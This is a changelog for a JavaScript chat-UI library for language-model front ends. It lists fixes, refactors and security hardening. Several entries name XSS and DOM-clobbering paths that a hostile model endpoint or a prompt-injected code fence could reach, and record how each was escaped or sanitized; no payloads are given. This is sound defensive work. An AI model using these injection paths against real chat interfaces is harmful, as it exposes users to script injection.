[data-segment-id]/[message-id]attribute-selector lookups in the bubble and viewport against a hostile, stream-supplied id: interpolated ids are now escaped for the quoted-attribute context (via a smallcssEscapehelper that needs noCSSglobal, so it also works in SSR/test runtimes). An id containing"(e.g. a provider-supplied tool-call id) can no longer throw aSyntaxErrorthat drops a render update, nor form a selector list that mis-targets another element. Ids are random UUIDs by default, so this is defense-in-depth.@aparte/core -
1f6c43e: Escape the
thinkingsegment’slabelbefore it reachesinnerHTML(the adjacentcontentwas already escaped). Built-in callers always pass a hardcoded label, but a host rendering a model-derived label into a thinking segment would otherwise have a stored-XSS sink — closed defensively, consistent with the other renderer escapes.@aparte/core -
2efef6f: Extract
_streamLoop’s ~190-linetool_usecase into a_handleToolUseEventhelper (built-increate_artifact, per-tool renderer, the human-in-the-loop approval gate, and the handler run with its timeout/abort). The loop now delegates and reads the continue/stop signal back. Behaviour-preserving — proven by the engine parity golden-master that drives the real_streamLoop, plus the client tool/HITL suites (869 tests, 27/27 e2e).@aparte/core -
0aefd9b: Robustness fixes surfaced by the code audit:
- core
AparteConfig—_notifyisolates each subscriber in try/catch (one throwing listener no longer aborts the loop and starves the others);setLocale/extendLocale/setAvatarProvidernow notify subscribers like every other live setter, so a runtime locale/avatar swap propagates to already-mounted components;refreshProviderModelsis typedPromise<AparteAIModel[]>instead ofPromise<any[]>. - engine — a tool handler is no longer invoked when the run’s
AbortSignalwas already aborted before the call (a pastabortevent never re-fires on the fresh listener). - provider-openai-compat — malformed tool-call arguments JSON at
finish_reason: 'tool_calls'and unparseable SSE data lines now log a breadcrumb instead of being dropped silently.@aparte/core,@aparte/engine,@aparte/provider-openai-compat
- core
-
0aefd9b: Escape untrusted model output before it reaches
innerHTML(two DOM-XSS paths):- core — the code-segment
language(the```langfence tag, LLM-authored and prompt-injectable) is now HTML-escaped in both the label text and theclass="language-…"attribute; the file-tree nodestatustoo. - core primitives —
<aparte-select>and<aparte-optgroup>build their labels viatextContent, notinnerHTML, matching their own update paths. - plugin-model-selector — remote model names/ids and provider labels are escaped before the option list is (re)built.
Reachable from a hostile/aggregating
/modelsendpoint or a prompt-injected code fence.@aparte/core,@aparte/plugin-model-selector - core — the code-segment
-
9568c6b: Escape
data-segment-idin every segment renderer. A segment id can embed an untrusted tool-call id (tool-${toolCallId}, taken verbatim from the endpoint’s SSEtool_calls[].id), so the tool-call renderer — and, defense-in-depth, all other renderers plus the ask-question receipt — now HTML-escape it before it reachesinnerHTML. Closes a DOM-XSS reachable from a hostile OpenAI-compatible endpoint (the same class as the code-fencelanguagefix, in a sibling sink). Regression test added.@aparte/core,@aparte/plugin-ask-user -
7e5cfb7: Teardown + sanitizer hardening from the audit:
- core
AparteChatHost.streamTokensnow races eachnext()against the abort signal and callsiterator.return()on abort. An idle token source (notably the Angular Observable→AsyncIterable adapter parked on a pendingnext()) previously left the loop and the underlying subscription alive afterstopTokenStream(); it now unwinds and cleans up promptly. Fixes the zombie-subscription leak for every wrapper. Regression test added. @aparte/angularAparteChatComponentnow unsubscribes itsbubbleRefs.changessubscription inngOnDestroy(previously leaked one live subscription per mount across SPA route churn).- core sanitizer drops the legacy
nameattribute from<a>— obsolete and a DOM-clobbering vector (id/stylekept: they carry legitimate aria/anchor/highlight uses; a property-levelstyleallowlist is a separate pass).@aparte/core,@aparte/angular
- core
-
75af64a: Fix two browser-only defects surfaced by the new cross-framework browser E2E suite (both passed the jsdom unit tests):
- Standalone send, retry and edit now resolve the viewport. In the
documented flat layout (
<aparte-chat>wrapping<aparte-chat-viewport>), the client matched the shell first and — finding noappendMessageon it — silently dropped the reply (send) or no-op’d (retry/edit). A shared resolver now scans candidates for the one that can actually render, following the shell’s delegation to its viewport, so a bare-shell chat streams, regenerates and edits out of the box. - The model-gate style applies to every host. The
data-model-gatedopacity rule had been mis-scoped (a comment split the selector list), leaving the vanilla composer permanently dimmed and greying only a[data-aparte-chat]direct child when gated. It is now an unscopedaparte-composer[data-model-gated]rule that dims any gated composer, in every wrapper and the vanilla shell.@aparte/core
- Standalone send, retry and edit now resolve the viewport. In the
documented flat layout (
-
fa5a3f8: Message editing now reuses the composer’s contenteditable input instead of a bespoke
<textarea>, so editing a message is iso with composing one:- Same input primitive (
<aparte-composer-input>): autosize, IME handling, paste, placeholder and styling are shared. The edit box is styled like the composer shell. Entersaves,Shift+Enterinserts a newline (wasCtrl/Cmd+Enter);Escstill cancels.- The save/cancel icons route through the icon provider (
getIcon('check')/getIcon('close')), sosetIconProvideroverrides them too; their colours stay themable via--aparte-success/--aparte-error.
<aparte-composer-input>is now usable standalone: with no<aparte-composer>parent it emits a bubblingaparte-composer-submitevent on submit instead of no-op-ing, and gains afocusEnd()method (focus with the caret at the end of the content). Its contenteditable also handles newlines robustly now —Shift+Enterinserts a single deletable<br>(no<div>wrappers), an empty field can’t start with a blank line, andgetValue()preserves newlines (<br>→\n).The
aparte-editevent contract is unchanged.Also fixes
<aparte-chat center-empty>: the empty/welcome state centers again. The viewport’s standaloneheight: 100%(for the scroll chain) was defeatingflex-grow: 0, so the composer couldn’t center; it’s released only while empty.@aparte/core - Same input primitive (
-
8a3890b: Isolate streaming state between multiple chats on one page. Lifecycle events (
aparte-message-start/done/error/aborted) andaparte-abortnow carry the target host’stargetId, and a composer only reacts to its own host’s turn. Before this, streaming in one chat flipped every composer to the “Stop” state, adonein one reset the others (hiding an active elicitation panel), and cancelling one aborted every scoped client. Id-less single-instance pages still broadcast unchanged.@aparte/core -
49f4d70: Robustness hardening: bound the file-generation handler map so a generation that never terminates (e.g. the conversation is cleared mid-flight) can no longer leak its window listeners for the page’s lifetime; add a compile-time exhaustiveness guard on the stream-event switch so a new event variant fails the typecheck instead of being silently ignored; and mark every intentional fire-and-forget promise in the streaming / render paths explicitly (type-aware lint now guards against unhandled rejections).
@aparte/core -
fcff831: Re-export the
AparteSystemPromptVarsProvidertype from the package root (both the browser and Node entries) so consumers can type the argument of the publicAparteConfig.setSystemPromptVarsProvider()without reaching into a deep import.@aparte/core -
455fc81: Branch + shell fixes:
- Message tree:
MessageRepository._relinkno longer corrupts the old parent’s active branch when the moved node was that parent’s active child (it walkedfindHeadinto the subtree being moved and left a dangling pointer). Only reached on re-parenting the active child; retry/edit flows were unaffected. <aparte-chat>shell scroll: the shell now setsheight: 100%so the inner scroll container has a definite height to resolve against. Inside a flex column with no definite ancestor height the container grew with content and nothing scrolled (messages/action-bars spilled below the view). Give the shell — or a parent — a definite height and it scrolls internally; the styled scrollbar, wheel, auto-scroll and scroll button stay wired to the same inner container. The scroll-to-bottom button is also re-derived from real geometry after a path re-render (a branch swap rebuilds the DOM with noscrollevent, so it could otherwise stay stale).@aparte/core
- Message tree:
-
6a50004: Harden the default sanitizer’s residual defense-in-depth gaps:
- Inline
styleis now a property allowlist (colours, weights, decoration — what highlighters emit) instead of a scheme blocklist. Layout/positioning properties (position/z-index/inset/width/…) are dropped, so hostile markup can no longer build a full-viewport click-jacking overlay, andurl()beacons are rejected on any property. Safe declarations survive even when a dangerous one sits beside them (previously the whole attribute was dropped all-or-nothing). id/nameare no longer allowlisted — they enable DOM clobbering and LLM-authored markup has no legitimate need for author-controlled ids.- The js-artifact preview’s
</script>escaper now matches</scriptfollowed by any spec terminator (whitespace///>), not only the exact</script>(still inside the sandboxed,allow-scripts-without-allow-same-originiframe).@aparte/core
- Inline
-
9ce7978: Fix a server-side-rendering crash on the framework wrappers. The Node/SSR entry (resolved via the
nodeexport condition) was missingapplyElementPropsandDEFAULT_UI_EVENTS— two DOM-free interop helpers that every wrapper’sAparteUiimports as values. Because each wrapper barrel re-exportsAparteUi, importing anything (even justAparteChat) from@aparte/react/@aparte/vue/@aparte/svelte/@aparte/angularunder SSR (Next.js, Nuxt, SvelteKit, Angular Universal) crashed the whole barrel withdoes not provide an export named 'applyElementProps'.The Node/SSR entry now mirrors the browser barrel’s full non-DOM surface — also exposing
DirectTransport,BackendTransport,isFormatAdapter,parseAparteEventStream, and the render-hook / transport / tool-resolver types that were only on the browser entry — and a new parity test enumerates that surface so the two barrels can never silently drift again.@aparte/core -
e96920a: Type
aparte-composer-changein theHTMLElementEventMapaugmentation, soel.addEventListener('aparte-composer-change', e => e.detail)is typed like the other public events (it’s inDEFAULT_UI_EVENTS, so the wrappers already forward it). Closes the gap where a forwarded, typed event was missing from the event map.@aparte/core -
71c9167: Packaging fixes surfaced by wiring
publint+are-the-types-wronginto CI:@aparte/engine: its emitted.d.tsre-exported submodules without.jsextensions, sonode16/nodenextconsumers got unresolved types (bundlers hid it). Added the extensions — the types now resolve under every module mode.@aparte/plugin-ask-question: declared"sideEffects": true. Importing the package registers<aparte-ask-question>as an import-time side effect, which a tree-shaking bundler could otherwise legally drop.@aparte/engine,@aparte/plugin-ask-user
-
f2d75b0: Fix four teardown/cancellation bugs: the model selector could permanently lock itself out of re-rendering if its render threw (now
try/finally); the Angular Observable to async-iterator adapter could hang forever if torn down mid-await(itsreturn()now settles the pending read); and the OpenAI-compat and AI-SDK providers nowcancel()the underlying stream on consumer cancel instead of draining the vendor body to the end (AI-SDK also can no longer process a second terminal event).@aparte/provider-ai-sdk,@aparte/provider-openai-compat,@aparte/plugin-model-selector,@aparte/angular -
aff7e98: Cancelling a local-model stream now actually STOPS generation: the worker runs each generate under an
InterruptableStoppingCriteriaand the stream’scancel()interrupts it, instead of letting the model run tomax_new_tokensoff-thread after the consumer aborted.@aparte/provider-transformers -
056dafd: Raise the monorepo TypeScript strictness floor:
noUncheckedIndexedAccessandnoUnusedParametersmove intotsconfig.base.json, so every package inherits them (core / engine / providers already opted in locally; plugins / wrappers / locales now do too). The new floor surfaced — and this fixes — real unchecked index accesses inmodel-selector(auto-select + single-provider option list) andask-question(single-question path): each now guards the array element instead of assuming it exists.@aparte/plugin-ask-user,@aparte/plugin-model-selector -
0aefd9b: README quick-start no longer re-adds the user message in the
messageSent/onSendhandler: the chat appends it automatically on send, so the previous example rendered every sent message twice (Angular: discarded the optimistic message via a[messages]round-trip). Now aligned with the wrapper JSDoc and the tested playgrounds.@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue -
f8a6dd7: De-duplicate the wrappers’
AparteUiprop-applier. The four wrappers each carried a byte-identical vanilla-DOM prop applier + event list; they’re now in@aparte/coreasapplyElementProps(el, props, transformValue?)andDEFAULT_UI_EVENTS. Vue passestoRawas the transform to unwrap its reactive proxy. No public wrapper API change.@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue -
a6ed936: One canonical imperative contract for
<AparteChat>across the four wrappers.@aparte/corenow exportsAparteChatImperativeApi— the ~20-method surface every framework handle delegates toAparteChatHost. React’sAparteChatHandleand Vue/Svelte’sAparteChatInstanceare now type aliases of it, and the Angular componentimplementsit, so any per-wrapper drift (a missing or mistyped method) is a compile error instead of a silent divergence.Angular parity: adds the imperative
setConversationId(id)method (theconversationId@Inputremains the declarative path), closing the one gap where Angular’s handle differed from the other three.@aparte/react,@aparte/svelte,@aparte/vue
Version-only bumps (no changes of their own): @aparte/plugin-marked, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/locale-fr.